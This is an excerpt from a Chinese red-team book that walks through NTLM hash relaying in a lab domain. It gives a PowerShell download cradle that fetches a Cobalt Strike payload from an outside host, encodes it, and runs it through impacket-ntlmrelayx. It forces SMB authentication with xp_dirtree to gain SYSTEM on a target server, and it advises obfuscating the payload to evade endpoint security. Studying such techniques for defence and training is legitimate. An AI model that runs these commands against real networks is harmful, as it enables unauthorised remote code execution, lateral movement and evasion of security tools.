本文选自《内网安全攻防:红队之路》
扫描二维码五折购书
Hash转发
如果我们捕获到NTLM hash的域用户是某台远程主机的本地管理员,我们则可以执行pass-the hash攻击来获得远程代码执行。虽然Net-NTLM hash不能直接用来hash传递,但我们可以将它转发到另一台主机。
需要注意的是仅在SMB签名被禁用的情况可以转发。SMB签名仅在域控是默认启用的。在我们的例子中,服务账户SQLSvc是appsrv01的本地管理员。在转发成功后,可以执行我们指定的命令。这里我们执行一个cobaltstrike PowerShell上线命令。先对要执行的命令进行编码:
$text = "IEX ((new-object net.webclient).downloadstring('http://1.2.3.4:8000/a'))"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
Base64编码PowerShell命令
接下来,使用ntlmrelayx.py转发捕获的hash,-t指定转发的目标主机IP,这里为appsrv01的IP,-c指定要执行的命令:
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.3.21 -c 'powershell -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAG...'
然后在win10执行ESC程序强迫dev-DC01上的SQL服务发起一个SMB请求,下面IP为kali 的IP:
set instance dev-dc01.dev.ms08067.cn
EXEC master..xp_dirtree '\\192.168.3.104\test'
go
xp_dirtree强迫SMB认证
如果执行成功,kali将会收到请求:
ntlmrelayx接收到请求
cobaltstrike beacon成功上线:
Hash转发cobaltstrike上线
在不破解密码hash的情况下,我们获得了appsrv01的system权限。
需要注意的是,这里只是为了介绍Hash转发的概念,所以APPSRV01的Windows defender是关闭状态。在实际场景,需要对cobaltstrike的PowerShell代码进行免杀,或者使用其他类型的shellcode加载器来绕过终端安全软件。
— 实验室旗下直播培训课程 —